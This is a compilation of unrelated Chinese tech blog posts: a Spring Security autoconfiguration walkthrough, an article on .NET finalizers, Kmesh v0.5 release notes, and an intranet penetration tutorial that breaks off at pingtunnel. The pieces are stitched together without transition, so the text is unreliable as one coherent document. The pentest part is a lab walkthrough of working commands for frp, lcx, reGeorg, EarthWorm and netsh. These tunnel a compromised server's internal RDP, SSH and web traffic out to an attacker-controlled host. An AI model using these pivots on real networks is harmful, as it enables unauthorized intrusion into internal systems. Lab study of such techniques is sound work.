2024年10月

二、实现功能及软件版本说明

  1. 使用Spring Boot集成Spring Security实现Servlet项目的安全个性化配置
  2. Spring Boot版本:2.7.18
  3. Spring Security版本:5.7.11

三、创建Spring Boot项目

  1. 创建Spring Boot项目,目录结构如下

    8c8ee28f2cdf81127643a3901b4833f

  2. 引入Spring Security包,完整pom.xml如下

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.7.18</version>
        <relativePath/>
    </parent>

    <groupId>com.yu</groupId>
    <artifactId>spring-boot-security2-demo</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>spring-boot-security2-demo</name>
    <description>Spring Boot集成Spring Security样例</description>

    <properties>
        <java.version>8</java.version>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-security</artifactId>
        </dependency>
    </dependencies>

</project>

四、查看自动装配配置类

  • 查看Security Servlet相关自动装配配置类

    1728632355558

五、自动装配配置类之SecurityAutoConfiguration

1、部分源码

@AutoConfiguration
@ConditionalOnClass(DefaultAuthenticationEventPublisher.class)
@EnableConfigurationProperties(SecurityProperties.class)
@Import({ SpringBootWebSecurityConfiguration.class, SecurityDataConfiguration.class })
public class SecurityAutoConfiguration {

	@Bean
	@ConditionalOnMissingBean(AuthenticationEventPublisher.class)
	public DefaultAuthenticationEventPublisher authenticationEventPublisher(ApplicationEventPublisher publisher) {
		return new DefaultAuthenticationEventPublisher(publisher);
	}

}

2、主要作用

  1. 导入SpringBootWebSecurityConfiguration

3、SpringBootWebSecurityConfiguration

1)、部分源码

@Configuration(proxyBeanMethods = false)
@ConditionalOnWebApplication(type = Type.SERVLET)
class SpringBootWebSecurityConfiguration {

	@Configuration(proxyBeanMethods = false)
	@ConditionalOnDefaultWebSecurity
	static class SecurityFilterChainConfiguration {

		@Bean
		@Order(SecurityProperties.BASIC_AUTH_ORDER)
		SecurityFilterChain defaultSecurityFilterChain(HttpSecurity http) throws Exception {
			http.authorizeRequests().anyRequest().authenticated();
			http.formLogin();
			http.httpBasic();
			return http.build();
		}

	}

	@Configuration(proxyBeanMethods = false)
	@ConditionalOnMissingBean(name = BeanIds.SPRING_SECURITY_FILTER_CHAIN)
	@ConditionalOnClass(EnableWebSecurity.class)
	@EnableWebSecurity
	static class WebSecurityEnablerConfiguration {

	}

}

2)、主要作用

  1. 默认Security配置(Spring容器中没有SecurityFilterChain和WebSecurityConfigurerAdapter)时,向Spring容器中注入默认过滤器链,即用户没有自定义过滤器链时,生成默认过滤器链
    image-20241010174044684
  2. Spring容器中不存在名称为springSecurityFilterChain对象时,启用WebSecurity,即用户未显示的启用WebSecurity时,隐式的启用WebSecurity

image-20241010174140639

4、@EnableWebSecurity

1)、部分源码

@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.TYPE)
@Documented
@Import({ WebSecurityConfiguration.class, SpringWebMvcImportSelector.class, OAuth2ImportSelector.class,
		HttpSecurityConfiguration.class })
@EnableGlobalAuthentication
@Configuration
public @interface EnableWebSecurity {

	/**
	 * Controls debugging support for Spring Security. Default is false.
	 * @return if true, enables debug support with Spring Security
	 */
	boolean debug() default false;

}

2)、主要作用

  1. 导入WebSecurityConfiguration
  2. 导入HttpSecurityConfiguration

5、WebSecurityConfiguration

1)、部分源码

@Configuration(proxyBeanMethods = false)
public class WebSecurityConfiguration implements ImportAware, BeanClassLoaderAware {
@Bean(name = AbstractSecurityWebApplicationInitializer.DEFAULT_FILTER_NAME)
	public Filter springSecurityFilterChain() throws Exception {
		boolean hasConfigurers = this.webSecurityConfigurers != null && !this.webSecurityConfigurers.isEmpty();
		boolean hasFilterChain = !this.securityFilterChains.isEmpty();
		Assert.state(!(hasConfigurers && hasFilterChain),
				"Found WebSecurityConfigurerAdapter as well as SecurityFilterChain. Please select just one.");
		if (!hasConfigurers && !hasFilterChain) {
			WebSecurityConfigurerAdapter adapter = this.objectObjectPostProcessor
					.postProcess(new WebSecurityConfigurerAdapter() {
					});
			this.webSecurity.apply(adapter);
		}
		for (SecurityFilterChain securityFilterChain : this.securityFilterChains) {
			this.webSecurity.addSecurityFilterChainBuilder(() -> securityFilterChain);
			for (Filter filter : securityFilterChain.getFilters()) {
				if (filter instanceof FilterSecurityInterceptor) {
					this.webSecurity.securityInterceptor((FilterSecurityInterceptor) filter);
					break;
				}
			}
		}
		for (WebSecurityCustomizer customizer : this.webSecurityCustomizers) {
			customizer.customize(this.webSecurity);
		}
		return this.webSecurity.build();
	}
}

2)、主要作用

  1. 两种方式注册过滤器链:
    • 继承WebSecurityConfigurerAdapter(本质是实现SecurityConfigurer接口)
      (已弃用)
    • 直接向Spring容器中注册SecurityFilterChain对象
  2. 没有默认的过滤器链时,使用WebSecurityConfigurerAdapter中默认配置生成过滤器链
  3. 根据配置的SecurityFilterChain集合构建FilterChainProxy类型的对象并注入到Spring容器中名称为springSecurityFilterChain

6、HttpSecurityConfiguration

1)、部分源码

@Configuration(proxyBeanMethods = false)
class HttpSecurityConfiguration {

	@Bean(HTTPSECURITY_BEAN_NAME)
	@Scope("prototype")
	HttpSecurity httpSecurity() throws Exception {
		WebSecurityConfigurerAdapter.LazyPasswordEncoder passwordEncoder = new WebSecurityConfigurerAdapter.LazyPasswordEncoder(
				this.context);
		AuthenticationManagerBuilder authenticationBuilder = new WebSecurityConfigurerAdapter.DefaultPasswordEncoderAuthenticationManagerBuilder(
				this.objectPostProcessor, passwordEncoder);
		authenticationBuilder.parentAuthenticationManager(authenticationManager());
		authenticationBuilder.authenticationEventPublisher(getAuthenticationEventPublisher());
		HttpSecurity http = new HttpSecurity(this.objectPostProcessor, authenticationBuilder, createSharedObjects());
		// @formatter:off
		http
			.csrf(withDefaults())
			.addFilter(new WebAsyncManagerIntegrationFilter())
			.exceptionHandling(withDefaults())
			.headers(withDefaults())
			.sessionManagement(withDefaults())
			.securityContext(withDefaults())
			.requestCache(withDefaults())
			.anonymous(withDefaults())
			.servletApi(withDefaults())
			.apply(new DefaultLoginPageConfigurer<>());
		http.logout(withDefaults());
		// @formatter:on
		applyDefaultConfigurers(http);
		return http;
	}
}

2)、主要作用

  1. Spring容器中注册HttpSecurity对象
  2. httpSecurity用于配置构建自定义过滤器链

六、自动装配配置类之UserDetailsServiceAutoConfiguration

1、部分源码

@AutoConfiguration
@ConditionalOnClass(AuthenticationManager.class)
@ConditionalOnBean(ObjectPostProcessor.class)
@ConditionalOnMissingBean(
		value = { AuthenticationManager.class, AuthenticationProvider.class, UserDetailsService.class,
				AuthenticationManagerResolver.class },
		type = { "org.springframework.security.oauth2.jwt.JwtDecoder",
				"org.springframework.security.oauth2.server.resource.introspection.OpaqueTokenIntrospector",
				"org.springframework.security.oauth2.client.registration.ClientRegistrationRepository",
				"org.springframework.security.saml2.provider.service.registration.RelyingPartyRegistrationRepository" })
public class UserDetailsServiceAutoConfiguration {
	@Bean
	@Lazy
	public InMemoryUserDetailsManager inMemoryUserDetailsManager(SecurityProperties properties,
			ObjectProvider<PasswordEncoder> passwordEncoder) {
		SecurityProperties.User user = properties.getUser();
		List<String> roles = user.getRoles();
		return new InMemoryUserDetailsManager(User.withUsername(user.getName())
			.password(getOrDeducePassword(user, passwordEncoder.getIfAvailable()))
			.roles(StringUtils.toStringArray(roles))
			.build());
	}
	private String getOrDeducePassword(SecurityProperties.User user, PasswordEncoder encoder) {
		String password = user.getPassword();
		if (user.isPasswordGenerated()) {
			logger.warn(String.format(
					"%n%nUsing generated security password: %s%n%nThis generated password is for development use only. "
							+ "Your security configuration must be updated before running your application in "
							+ "production.%n",
					user.getPassword()));
		}
		if (encoder != null || PASSWORD_ALGORITHM_PATTERN.matcher(password).matches()) {
			return password;
		}
		return NOOP_PASSWORD_PREFIX + password;
	}

2、主要作用

  1. 用户未自定义认证接口时,生成默认认证接口inMemoryUserDetailsManager(基于内存用户认证)
  2. 生成默认名称为user,密码为随机生成的uuid(项目启动时会打印在控制台中),角色为空的用户存入内存中
#UserDetailsServiceAutoConfiguration.inMemoryUserDetailsManager方法中获取user对象
SecurityProperties.User user = properties.getUser();
#SecurityProperties中的User类
public static class User {
		private String name = "user";
		private String password = UUID.randomUUID().toString();
		private List<String> roles = new ArrayList<>();
	}
  1. 通过配置文件可以修改默认用户名、密码、角色(示例如下)

image-20241010174253004

七、自动装配配置类之SecurityFilterAutoConfiguration

1、部分源码

@AutoConfiguration(after = SecurityAutoConfiguration.class)
@ConditionalOnWebApplication(type = Type.SERVLET)
@EnableConfigurationProperties(SecurityProperties.class)
@ConditionalOnClass({ AbstractSecurityWebApplicationInitializer.class, SessionCreationPolicy.class })
public class SecurityFilterAutoConfiguration {

	private static final String DEFAULT_FILTER_NAME = AbstractSecurityWebApplicationInitializer.DEFAULT_FILTER_NAME;

	@Bean
	@ConditionalOnBean(name = DEFAULT_FILTER_NAME)
	public DelegatingFilterProxyRegistrationBean securityFilterChainRegistration(
			SecurityProperties securityProperties) {
		DelegatingFilterProxyRegistrationBean registration = new DelegatingFilterProxyRegistrationBean(
				DEFAULT_FILTER_NAME);
		registration.setOrder(securityProperties.getFilter().getOrder());
		registration.setDispatcherTypes(getDispatcherTypes(securityProperties));
		return registration;
	}

	private EnumSet<DispatcherType> getDispatcherTypes(SecurityProperties securityProperties) {
		if (securityProperties.getFilter().getDispatcherTypes() == null) {
			return null;
		}
		return securityProperties.getFilter()
			.getDispatcherTypes()
			.stream()
			.map((type) -> DispatcherType.valueOf(type.name()))
			.collect(Collectors.toCollection(() -> EnumSet.noneOf(DispatcherType.class)));
	}

}

2、主要作用

  1. 注册DelegatingFilterProxyRegistrationBean(委托过滤器代理注册Bean)
  2. 设置代理目标Bean对象名称为springSecurityFilterChain

简介

"终结"一般被分为确定性终结(显示清除)与非确定性终结(隐式清除)

  1. 确定性终结主要
    提供给开发人员一个显式清理的方法,比如try-finally,using。
  2. 非确定性终结主要
    提供一个注册的入口,只知道会执行,但不清楚什么时候执行。比如IDisposable,析构函数。

为什么需要终结机制?

首先纠正一个观念,终结机制不等于垃圾回收。它只是代表当某个对象不再需要时,我们顺带要执行一些操作。更加像是附加了一种event事件。
所以网络上有一种说法,IDisposable是为了释放内存。这个观念并不准确。应该形容为一种兜底更为贴切。
如果是一个完全使用托管代码的场景,整个对象图由GC管理,那确实不需要。在托管环境中,终结机制主要用于处理对象所持有的,不被GC和runtime管理的资源。
比如HttpClient,如果没有终结机制,那么当对象被释放时,GC并不知道该对象持有了非托管资源(句柄),导致底层了socket连接永远不会被释放。

如前所述,终结器不一定非得跟非托管资源相关。它的本质是”对象不可到达后的do something“.
比如你想收集对象的创建与删除,可以将记录代码写在构造函数与终结器中

终结机制的源码

源码
namespace Example_12_1_3
{
    internal class Program
    {
        static void Main(string[] args)
        {
            TestFinalize();

            Console.WriteLine("GC is start. ");
            GC.Collect();
            Console.WriteLine("GC is end. ");
            Debugger.Break();

            Console.ReadLine();
            Console.WriteLine("GC2 is start. ");
            GC.Collect();
            Console.WriteLine("GC2 is end. ");
            Debugger.Break();
            Console.ReadLine();

        }
        static void TestFinalize()
        {
            var list = new List<Person>(1000);
            for (int i = 0; i < 1000; i++)
            {
                list.Add(new Person());
            }

            var personNoFinalize = new Person2();
            Console.WriteLine("person/personNoFinalize分配完成");

            Debugger.Break();
        }
    }
    public class Person
    {
        ~Person()
        {
            Console.WriteLine("this is finalize");
            Thread.Sleep(1000);
        }
    }
    public class Person2
    {

    }
}
IL
	// Methods
	.method family hidebysig virtual 
		instance void Finalize () cil managed 
	{
		.override method instance void [mscorlib]System.Object::Finalize()
		// Method begins at RVA 0x2090
		// Header size: 12
		// Code size: 30 (0x1e)
		.maxstack 1

		IL_0000: nop
		.try
		{
			// {
			IL_0001: nop
			// Console.WriteLine("this is finalize");
			IL_0002: ldstr "this is finalize"
			IL_0007: call void [mscorlib]System.Console::WriteLine(string)
			// Console.ReadLine();
			IL_000c: nop
			IL_000d: call string [mscorlib]System.Console::ReadLine()
			IL_0012: pop
			// }
			IL_0013: leave.s IL_001d
		} // end .try
		finally
		{
			// (no C# code)
			IL_0015: ldarg.0
			IL_0016: call instance void [mscorlib]System.Object::Finalize()
			IL_001b: nop
			IL_001c: endfinally
		} // end handler

		IL_001d: ret
	} // end of method Person::Finalize
汇编
0199097B  nop  
0199097C  mov         ecx,dword ptr ds:[4402430h]  
01990982  call        System.Console.WriteLine(System.String) (72CB2FA8h)  
01990987  nop  
01990988  call        System.Console.ReadLine() (733BD9C0h)  
0199098D  mov         dword ptr [ebp-40h],eax  
01990990  nop  
01990991  nop  
01990992  mov         dword ptr [ebp-20h],offset Example_12_1_3.Person.Finalize()+045h (00h)  
01990999  mov         dword ptr [ebp-1Ch],0FCh  
019909A0  push        offset Example_12_1_3.Person.Finalize()+06Ch (019909BCh)  
019909A5  jmp         Example_12_1_3.Person.Finalize()+057h (019909A7h)  

可以看到,C#的析构函数只是一种语法糖。IL重写了System.Object.Finalize方法。在底层的汇编中,直接调用的就是Finalize()

终结的流程

image

补充一个细节,实际上f-reachable queue 内部还分为Critical/Normal两个区间,其区别在于是否继承自CriticalFinalizerObject。
目的是为了保证,即使在AppDomain或线程被强行中断的情况下,也一定会执行。
一般也很少直接继承CriticalFinalizerObject,更常见是选择继承SafeHandle.
不过在.net core中区别不大,因为.net core不支持终止线程,也不支持卸载AppDomain。

眼见为实

使用windbg看一下底层。
1. 创建Person对象,是否自动进入finalize queue?
image

可以看到,当new obj 时,finalize queue中已经有了Person对象的析构函数

2. GC开始后,是否移动到F-Reachable queue?
image

可以看到代码中创建的1000个Person的析构函数已经进入了F-Reachable queue

sosex !finq/!frq 指令同样可以输出

3. 析构对象是否被"复活"?
GC发生前,在TestFinalize方法中创建了两个变量,person=0x02a724c0,personNoFinalize=0x02a724cc。
image
image
可以看到所属代都为0,且托管堆中都能找到它们。

GC发生后
image
image
image
可以看到,Person2对象因为被回收而在托管堆中找不到了,Person对象因为还未执行析构函数,所以还存在gcroot 。因此并未被回收,且内存代从0代提升到1代

4. 终结线程是否执行,是否被移出F-Reachable queue
image
image
在GC将托管线程从挂起到恢复正常后,且F-Reachable queue 有值时,终结线程将乱序执行。
并将它们移出队列
image

5. 析构函数的对象是否在第二次GC中释放?
等到第二次GC发生后,由于对象析构函数已经被执行,不再拥有gcroot,所以托管堆最终释放了该对象,
image

6. 析构函数如果没有及时执行完成,又触发了一次GC。会不会再次升代?
image
答案是肯定的

终结的开销

  1. 如果一个类型具有终结器,将使用慢速分支执行分配操作
    且在分配时还需要额外进入finalize queue而引入的额外开销
  2. 终结器对象至少要经历2次GC才能够被真正释放
    至少两次,可能更多。终结线程不一定能在两次GC之间处理完所有析构函数。此时对象从1代升级到2代,2代对象触发GC的频率更低。导致对象不能及时被释放(析构函数已经执行完毕,但是对象本身等了很久才被释放)。
  3. 对象升代/降代时,finalize queue也要重复调整
    与GC分代一样,也分为3个代和LOH。当一个对象在GC代中移动时,对象地址也需要也需要在finalization queue移动到对应的代中.
    由于finalize queue与f-reachable queue 底层由同一个数组管理,且元素之间并没有留空。所以升代/降代时,与GC代不同,GC代可以见缝插针的安置对象,而finalize则是在对应的代末尾插入,并将后面所有对象右移一个位置

眼见为实

点击查看代码
    public class BenchmarkTester
    {
        [Benchmark]
        public void ConsumeNonFinalizeClass()
        {
            for (int i = 0; i < 1000; i++)
            {
                var obj = new NonFinalizeClass();
                obj.Age = i;

            }
        }
        [Benchmark]
        public void ConsumeFinalizeClass()
        {
            for (int i = 0; i < 1000; i++)
            {
                var obj = new FinalizeClass();
                obj.Age = i;

            }
        }
    }

image

非常明显的差距,无需解释。

总结

使用终结器是比较棘手且不完全可靠。因此最好避免使用它。只有当开发人员没有其他办法(IDisposable)来释放资源时,才应该把终结器作为
最后的兜底

本文分享自华为云社区
《内核级流量治理引擎 Kmesh v0.5 发布!进击的Sidecarless服务网格》
,作者:云容器大未来。

我们非常高兴地宣布 Kmesh v0.5.0 的发布。首先,感谢我们的贡献者在过去两个月中的辛勤工作。在 v0.5.0 版本中,我们进行了许多重要的增强,包括命令行工具 kmeshctl、更全面的端到端测试覆盖、底层 eBPF 信息的可视化改进、可观测性增强、完整的重启支持、CNI 安装程序的改进以及 XDP 程序中的 RBAC 支持。此外,在本次发布周期中,我们修复了许多关键的 Bugs,重构了部分关键代码,并增加了更多测试覆盖,使 Kmesh 更加稳定和健壮。

Kmesh背景回顾

尽管以 Istio 为代表的服务网格在过去几年得到了广泛的关注并取得了显著的知名度,但 Istio 社区曾经重点推广的 Sidecar 模式在资源开销和数据链路延迟等方面会对工作负载产生显著影响,因此用户在选择落地方案时仍然相对谨慎。此外,Sidecar 模式的一个主要缺点是其与业务容器的生命周期强绑定,无法独立进行升级。为了解决这些问题,Kmesh 创新性地提出了基于内核的无 Sidecar 流量治理方案,将流量治理下沉至内核层面。当前Kmesh支持“Kernel-Native”和“Dual-Engine”两种模式。

对于“Kernel-Native”模式,由于 eBPF 技术非常适合四层流量治理,并且结合可编程内核模块,可以实现七层流量编排。Kmesh 最初完全依赖 eBPF 和内核模块来实现 L4-L7 的治理。Kmesh 采用随流治理策略,不会在服务通信过程中增加额外的连接跳数,与 Sidecar 模式相比,服务之间的通信连接数从三条减少至一条。“Kernel-Native”模式的架构图如下:

同时,为了增强七层协议的治理能力,今年 Kmesh 引入了一种新的治理模式——“Dual-Engine”模式,利用 eBPF 将流量转发到 kmesh-waypoint 进行高级的七层协议治理。这是一种更灵活的分层治理模型,能够按需满足不同用户的多样化需求。

Kmesh 0.5版本关键特性解析

Kmesh重启时的零停机时间

现在,Kmesh 可以在重启后优雅地重新加载 eBPF Map 和程序,且不需要在重启后重新注册命名空间或特定 Pod。这意味着在重启期间,流量不会中断,这对用户来说是一个巨大的好处。在 kmesh-daemon 重启后,eBPF Map 配置将自动更新为最新状态。

如上图所示通过将 eBPF程序 pin 在内核目录上,kmesh 关闭后 eBPF 依然可以正常对流量进行治理,保证 kmesh 重启过程中服务不中断。

在 kmesh 重启后,将 bpf_map 中存放的 config 与最新获取的 config 作对比,将 bpf_map 中的 config 更新至最新。

在 v0.4.0 版本中,Kmesh 重启后需要重新启动所有由 Kmesh 管理的 Pod,以便重新管理,因为该管理是由 CNI 插件触发的。现在这一过程已在 kmesh-daemon 中完成,因此 Pod 不需要重新启动即可重新管理。

可观测性增强

现在,Kmesh 支持 L4 访问日志,使用户能够清晰地可视化 Kmesh 管理的流量。请注意,访问日志默认未启用。您可以通过修改 Kmesh 中
spec.containers.args 的
--enable-accesslog 参数来启用访问日志功能。我们还将支持使用 kmeshctl 动态启用访问日志。

访问日志的示例如下:

accesslog: 2024-09-14 08:19:26.552709932 +0000 UTC
src.addr=10.244.0.17:51842, src.workload=prometheus-5fb7f6f8d8-h9cts, src.namespace=istio-system,
dst.addr=10.244.0.13:9080, dst.service=productpage.echo-1-27855.svc.cluster.local, dst.workload=productpage-v1-8499c849b9-bz9t9, dst.namespace=echo-1-27855, direction=INBOUND, sent_bytes=5, received_bytes=292, duration=2.733902ms

其中各个字段的含义为:

同时,为 Kmesh 适配的 Grafana 插件也已添加,以便更好地可视化各维度的监控指标。此外,可观测性方面的一些关键问题已得到修复,有效提高了其准确性和稳定性。

将授权执行下沉到XDP程序中

在 v0.3.0 版本中,Kmesh 已支持 L4 RBAC,但之前的解决方案是在用户空间中进行 RBAC,这在性能和功能上存在一些问题。现在我们已将其下沉到 XDP eBPF 中,这项功能将真正可用。目前,鉴权规则已转移到 eBPF Map中,这使得能够完全在 eBPF 程序中执行授权。当授权结果为拒绝时,XDP 程序会直接丢弃请求数据包,从而使客户端能够检测到连接失败。

下沉到 XDP 程序的关键是使用了 eBPF 的 tail-call 机制,将不同的匹配规则通过 tail-call 串联起来,遵循了原先在用户空间进行鉴权的逻辑。

如上图所示,集群内配置的鉴权规则通过消息订阅机制,被写入 eBPF Map。Pod 上入方向的流量在建链时,会在 XDP 程序中进行鉴权规则匹配,如果鉴权结果为拒绝,则包被丢弃;如果鉴权结果为允许,则流量将通过协议栈发送到对应的 App 进程。

更好的调试能力

我们新增了命令行工具 kmeshctl!现在,您无需进入相应的 Kmesh 守护进程 Pod 来调整 Kmesh 守护进程的日志级别或转储配置。您可以直接使用 kmeshctl:

# 调整 kmesh-daemon 日志级别(例如,debug | error | info)
kmeshctl log kmesh-6ct4h --set default:debug
# 转储配置
kmeshctl dump kmesh-6ct4h workload

未来将为 kmeshctl 添加更多功能,以便用户更好地管理和调试 Kmesh。

更好的底层BPF Map可视化

之前我们有接口
/debug/config_dump/ads

/debug/config_dump/workload
来输出 Kmesh 守护进程中缓存的配置内容。由于各种原因,Kmesh 守护进程缓存中的配置与实际的 eBPF 可能并不完全一致。如果我们能获取阅读友好的 eBPF 信息,将更有助于我们进行故障排查。现在,我们可以通过接口
/debug/bpf/*
获取这些信息。这些信息也将被集成到 kmeshctl 中,方便查看,并且可以进一步扩展,以判断底层 eBPF 是否与 Kmesh 守护进程中的配置同步。

# Get eBPF info in dual-engine mode
kubectl exec -ti -n kmesh-system kmesh-6ct4h -- curl 127.0.0.1:15200/debug/config_dump/bpf/workload
# Get eBPF info in kernel-native mode
kubectl exec -ti -n kmesh-system kmesh-6ct4h -- curl 127.0.0.1:15200/debug/config_dump/bpf/ads

改进CNI安装程序

由于 CNI 安装程序是 Kmesh 守护进程,如果 kmesh-daemon 意外崩溃或机器突然断电,CNI 将无法卸载 CNI 配置。如果 kubeconfig 的 token 过期,则 kmesh-daemon 异常退出后,任何 Pod 都无法成功启动。因此,我们采取了以下两种方法来解决此问题:


  • start_kmesh.sh
    的末尾清理 CNI 配置。

  • 在CNI安装程序中添加一个单独的Go协程,一旦token文件被修改,更新 kubeconfig 文件。这可以确保 kubeconfig 文件不容易过期。

支持HostNetwork工作负载

现在,对于 Kmesh 双引擎模式,我们支持通过 HostNetwork Pods 访问服务。

性能提升

在双引擎模式中,我们通过使用本地缓存来优化工作负载和服务响应处理期间的 BPF Map更新,避免了对 BPF Map的循环遍历。

关键Bug修复

我们还修复了一些重大 Bug:

  • 通过不删除前端Map,防止在工作负载资源更新期间失去流量控制。

  • 来自命名空间 waypoint 的流量将再次重定向到 waypoint,避免了死循环。现在我们跳过了来自 waypoint 的流量管理。

  • 修复了当 waypoint 处理非 HTTP TCP流量时,会意外返回HTTP/1.1 400 Bad Request 的问题。#681

致谢贡献者

Kmesh v0.5.0 版本包含了来自14 位贡献者的 567 次代码提交,在此对各位贡献者表示由衷的感谢:

我们始终以开放中立的态度发展 Kmesh,持续打造 Sidecarless 服务网格业界标杆方案,服务千行百业,促进服务网格健康有序的发展。Kmesh 当前正处于高速发展阶段,我们诚邀广大有志之士加入!

参考链接

Kmesh Release v0.5.0:
https://github.com/kmesh-net/kmesh/releases/tag/v0.5.0

Kmesh GitHub:
https://github.com/kmesh-net/kmesh

Kmesh Website:
https://kmesh.net/

【更多华为云云原生干货推荐】
华为云云原生王者之路集训营


华为云云原生王者之路集训营

为帮助广大技术爱好者快速掌握云原生相关技能,华为云云原生团队与华为云学院联合CNCF开源软件大学启动人才培养计划,推出《
华为云云原生王者之路集训营
》,
从云原生基础知识介绍到最佳实践讲解、底层原理和方案架构深度剖析,层层深入,满足不同云原生技术基础和学习目标人群的需求
。本课程还精选数十个企业典型应用场景,作为学员上机实践案例,帮助学员将所学技术快速与企业业务相结合,服务于企业生产。

点击免费参加
华为云云原生王者之路集训营

https://edu.huaweicloud.com/roadmap/cloudnative1.html

点击关注,第一时间了解华为云新鲜技术~

前言

本文章介绍内网渗透中本人常用的一些隧道代理转发工具。

环境搭建

在这里插入图片描述
环境配置坑点
:记得把内网网卡的这个√取消掉,否则直接不同网段也能直接访问到内网...
在这里插入图片描述

win10_hacker: 192.168.29.139
kali_hacker: 192.168.29.128
windows(目标服务器): (192.168.29.130、10.0.0.3)
winserver2003: 10.0.0.112

注:双网卡的系统没有固定用哪个,我这里使用windows,是因为我找了好几个靶机最后手头上只有win10能运行,这里也可以使用linux作为被控制机器,没有所谓,注意frp要使用对应系统的版本即可。

工具清单

可转发工具,这些是进行内网流量转出的工具

Frp
Lcx
reGeorg
ew(EarthWorm)
netsh
pingtunnel
ngrok
cs

可代理工具,这些是本地进行流量转换的工具

Proxifier(windows)
SocksCap(windows)
cs(windows)
Proxychains(linux)#本文不做介绍

工具使用

注明:以下工具仅简单介绍使用方法。

Frp

项目地址:
https://github.com/fatedier/frp/

服务端:kali_hacker (192.168.29.128)
客户端:windows(目标服务器): (192.168.29.130、10.0.0.3)

将客户端内网中10.0.0.112:80的流量转到服务端的6000端口中。

命令执行

kali_hacker

vim frps.toml #自行修改端口号,不要与本机的端口号冲突即可
#运行命令
./frps -c frps.toml

windows

#frpc.toml配置文件说明
serverAddr:服务端地址
serverPort:服务端配置文件中bind绑定的端口
localIP:直接指定内网中你要转的的ip即可
localPort:将localIP的哪个端口号流量转出来
remotePort:将流量转进服务端的哪个端口号
type:是表示你要进行什么类型的流量转发,一般是tcp和http(后面介绍http)
customDomains:表示当内网信息转过来的时候你希望以什么域名访问,这里需要你修改hosts文件,将ip和域名进行绑定。
#运行命令
.\frpc.exe -c frpc.toml

下面是常用的配置,配置了http、tcp(rdp,ssh)

serverAddr = "192.168.29.128"
serverPort = 7000

[[proxies]]
name = "web"
type = "http"
localIP = "10.0.0.112"
localPort = 80
customDomains = ["www.hacker.com"]

[[proxies]]
name = "rdp"
type = "tcp"
localIP = "10.0.0.112"
localPort = 3389
remotePort = 6000

[[proxies]]
name = "ssh"
type = "tcp"
localIP = "10.0.0.112"
localPort = 22
remotePort = 6000

实验

服务端运行
修改hosts文件:对应客户端设置的域名和ip
(ip就是这台kali机器所以可以写127.0.0.1)
在这里插入图片描述
在这里插入图片描述

客户端运行
在这里插入图片描述

服务端访问内网
在这里插入图片描述
同理6000端口是内网机器10.0.0.112的3389转进来的流量
在这里插入图片描述

Lcx

项目地址:
https://github.com/Brucetg/Pentest-tools/tree/master/%E7%AB%AF%E5%8F%A3%E8%BD%AC%E5%8F%91

windows_hacker:(192.168.29.139)
windows(目标服务器): (192.168.29.130、10.0.0.3)

将windows内网中的10.0.0.112:3389流量转到windows_hacker的2222端口上,然后windows_hacker本地将2222端口转到4444端口上。

命令执行

windows_hacker

.\lcx.exe -listen 2222 4444

windows

.\lcx.exe -slave 192.168.29.139 2222 10.0.0.112 3389

实验

windows_hacker运行
在这里插入图片描述
被控的windows主机运行
在这里插入图片描述
windows_hacker远程桌面内网机器
在这里插入图片描述
在这里插入图片描述

reGeorg

项目地址:
https://github.com/sensepost/reGeorg

windows_hacker:(192.168.29.139)
windows (目标服务器):(192.168.29.130、10.0.0.3)

用脚本帮你将目标机器windows 上的内网信息通过socks隧道转到windows_hacker的9999端口上来。

命令执行

windows

将对应站点开发语言的脚本传到目标服务器上,能访问成功即可
(php开发的就传php的脚本,即:tunnel.nosocket.php)

windows_hacker

需要用python2
python2 reGeorgSocksProxy.py -p 9999 -u http://192.168.29.130/tunnel.nosocket.php

实验

将文件上传到目标服务器后,在hacker机器上能访问成功即可
在这里插入图片描述
使用python2环境运行脚本
在这里插入图片描述

Proxifier

现在就已经是成功转出来了,只不过需要对转出来的socks流量做一个转换,转换为本机可用的,因为我们知道内网有一个网站,需要转成http流量进行访问。
使用Proxifier进行一个本地流量转换
1.添加代理服务器
在这里插入图片描述
2.添加代理规则
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
3.localhost选择你之前配置好的代理服务器
127.0.0.1:9999
在这里插入图片描述
接着拿出你的浏览器访问内网ip即可了,这样就相当于将内网流量彻底转到你的机器上面来,而不是说单独哪一个端口转出来,这里随心所欲逛内网了,bp抓包都没问题。
4.访问成功
在这里插入图片描述

ew(EarthWorm)

项目地址:该工具已下架,很遗憾,接下来就来怀念一下这个工具吧。
(这款工具杀软基本过不了,规则已公开)

windows_hacker:(192.168.29.139)
windows(目标服务器):(192.168.29.130、10.0.0.3)

正向代理

命令执行

windows_hacker: 用proxifier正向连接ip:端口
windows:ew.exe -s ssocksd -l 1080

实验

目标服务器windows
注意1080是转出的端口,后面正向连接要用这个端口
在这里插入图片描述
windows_hacker
:配置好目标ip+端口就能访问了,这款工具很迅速
在这里插入图片描述

反向代理

命令执行

windows(目标服务器): ew.exe -s rssocks -d 192.168.29.139 -e 888

windows_hacker: ew.exe -s rcsocks -l 1080 -e 888

意思是将目标服务器的内网环境通过888端口转出到hacker的888,然后hacker将888转到1080端口

实验

hacker机器先进行监听,否则目标服务器那边会因流量转不出执行出错
在这里插入图片描述
接着目标服务器执行\

在这里插入图片描述
就能看到hacker这边有反应显示成功了
在这里插入图片描述

SocksCap

上面用了很多proxifier,那这里就用一下SocksCap
1.点击代理,右键新增代理
在这里插入图片描述
在这里插入图片描述
2.导入程序的方式,自己选一个接受流量的程序,我们这里是为了访问内网的web服务就选择浏览器访问即可。
在这里插入图片描述
3.导入后就能打开访问内网网址了
在这里插入图片描述

netsh

建议在目标服务器上做本地端口转发接口,个人觉得本地端口转发效果最佳。

命令执行

目标服务器:将内网的10.0.0.112:80转到本地的880,最好用该机器对外的ip地址。

netsh interface portproxy add v4tov4 listenaddress=192.168.29.130 listenport=880 connectaddress=10.0.0.112 connectport=80

在这里插入图片描述

pingtunnel

这里因为windows作为目标路由服务器转发内网流量的实验失败,所以改用linux。
